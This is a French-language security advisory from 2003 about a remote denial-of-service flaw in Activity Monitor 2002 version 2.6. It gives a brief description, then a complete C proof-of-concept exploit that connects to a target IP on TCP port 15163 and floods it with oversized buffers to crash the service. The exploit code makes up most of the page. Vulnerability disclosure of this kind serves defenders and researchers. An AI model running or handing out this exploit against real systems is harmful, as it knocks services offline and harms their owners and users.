| 
                        
                          | Activity Monitor 2002 Remote Denial of Service |   Date de Publication: 2003-05-30Titre: Activity Monitor 2002 Remote Denial of Service
 K-Otik ID : 0131
 Exploitable à distance : Oui
 Exploitable en local : Oui
 
 
 * Description Technique - Exploit *
 
 Activity Monitor 2002 est un utilitaire permettant la surveillance des activités utilisateurs en temps réel. un problème de sécurité permettrait à un attaquant distant de causer un déni de service sur un système vulnérable, en envoyant des requêtes avec de longs arguments vers le port TCP/15163.
 
 
 ------------------------- Exploit -------------------------
 #include <stdio.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <netinet/in.h>
 #include <string.h>
 
 int main(int argc, char **argv)
 {
 
 int i,ck,port,sd;
 char dos[10000];
 
 struct sockaddr_in act_mon_server;
 
 if(argc < 2)
 {
 printf("\nUsage: %s <ip>\n", argv[0]);
 exit(0);
 }
 
 port = 15163;
 
 for(i = 0; i < 10000; i++) dos[i] = 'x';
 
 act_mon_server.sin_family = AF_INET;
 act_mon_server.sin_port = htons((u_short)port);
 act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]);
 
 sd = socket(AF_INET, SOCK_STREAM, 0);
 
 ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof
 (act_mon_server));
 
 if(ck != 0) {
 perror("Connect");
 exit(0);
 }
 
 printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n");
 printf("\t\tby Luca Ercoli \n\n");
 
 write(sd, dos, sizeof(dos));
 write(sd, dos, sizeof(dos));
 write(sd, dos, sizeof(dos));
 
 printf("\nDoS sent!\n");
 
 close(sd);
 
 exit(0);
 }
 -------------------------------------------------------------
 
 
 * Versions Vulnérables *
 
 Activity Monitor 2002 ver. 2.6
 
 
 * Solution *
 
 http://www.softactivity.com
 
 
 * Crédits *
 
 Faille découverte par Luca Ercoli (Mai 2003).
 |